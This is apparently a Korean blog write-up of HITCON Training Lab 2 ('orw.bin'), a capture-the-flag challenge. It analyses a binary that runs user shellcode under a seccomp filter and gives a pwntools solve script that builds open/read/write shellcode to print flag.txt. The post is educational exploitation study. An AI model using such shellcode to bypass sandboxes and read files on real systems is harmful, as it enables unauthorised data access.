tmxklab

hitcon training [LAB 2] 본문

War Game/hitcon training

hitcon training [LAB 2]

tmxk4221 2020. 7. 19. 18:04

1. 문제

1) mitigation 확인(orw.bin)

 

2) 문제 확인(orw.bin)

2-1) main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 200u);
  ((void (*)(void))shellcode)();
  return 0;
}
  • orw_seccomp()를 호출하고 shellcode변수에 입력 값을 받아 shellcode를 실행시킴 → shellcode변수에 쉘 코드 저장시켜서 실행시키는 듯

2-2) orw_seccomp함수

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h]
  char *v2; // [esp+8h] [ebp-80h]
  char v3; // [esp+Ch] [ebp-7Ch]
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
  qmemcpy(&v3, &unk_8048640, 0x60u);
  v1 = 12;
  v2 = &v3;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v4;
}
  • prctl함수를 통해 seccomp기능을 사용할 수 있음

    • seccomp(secure computing mode)는 이전에 pzshell에서도 봤듯이 리눅스에서 샌드박스 기반으로 system call을 제한시키는 기능을 수행

 


2. 접근 방법

1) prctl()

int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

seccomp은 두 가지 모드를 사용할 수 있는데 이러한 모드를 결정하는 것은 option인자이다.

  • SECCOMP_SET_MODE_STRICT

    • read, write, exit, sigreturn 4가지의 syscall만을 사용할 수 있는 모드이며 허용되지 않은 syscall이 호출될 경우 sigkill을 받고 종료

  • SECCOMP_SET_MODE_FILTER

    • BPF(Berkeley Packet Filter)라는 필터식을 이용하여 system call을 관리하는 모드이며 각 syscall별로 동작을 설정 가능

    • BPF는 커널에서 네트워크 패킷을 필터링할 때 사용하는 VM, syscall 필터링할 때도 쓰인다.

 

prctl참고 )

 

prctl함수를 통해 seccomp기능이 작동하여 사용할 수 있는 syscall을 제한하였다. → exit(%eax=1), read(%eax=3), write(%eax=4), open(%eax=5)를 제외한 syscall을 발생할 경우 sigkill발생

 

따라서, 임의로 flag.txt파일을 작성하여 flag.txt를 open하고 flag.txt의 내용을 read(스택에 저장)하여 화면에 write(출력)하는 것을 목표로 한다.

 


3. 풀이

1) shellcraft를 이용하여 shellcode제작

참고 : http://docs.pwntools.com/en/stable/shellcraft/i386.html#module-pwnlib.shellcraft.i386

 

사용할 syscall은 open, read, write 총 3가지이다.

먼저, open하여 파일이 성공적으로 open되는지랑 fd값을 확인

  • flag.txt파일을 open성공하여 fd값이 eax에 0x3으로 설정

fd값을 알았으니 이제 read(3, buf, nbytes)를 사용하여 buf에 저장하고 write(1, buf, nbytes)를 사용하여 화면에 출력하면 된다.

 

2) 익스 코드

from pwn import *

context(log_level="debug", arch="i386", os="linux")

p = process("./orw.bin")

shellcode = asm(shellcraft.i386.open("./flag.txt"))
shellcode += asm(shellcraft.i386.read(3, "esp", 30))
shellcode += asm(shellcraft.i386.write(1, "esp", 30))

p.sendafter(":", shellcode)

p.interactive()

 

3) 공격 실행

 


4. 몰랐던 내용

1) x86 syscall → int 0x80

x86에서는 syscall을 사용하는 쉘 코드를 작성할 때 syscall 대신에 int 0x80을 사용하여 인터럽트를 일으킴

 

2) system call table (x64, x86)

x64와 x86에서 system call table이 조금씩 차이가 있다.

 

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 6]  (0) 2020.07.19
hitcon training [LAB 5]  (0) 2020.07.19
hitcon training [LAB 4]  (0) 2020.07.19
hitcon training [LAB 3]  (0) 2020.07.19
hitcon training [LAB 1]  (0) 2020.07.19
Comments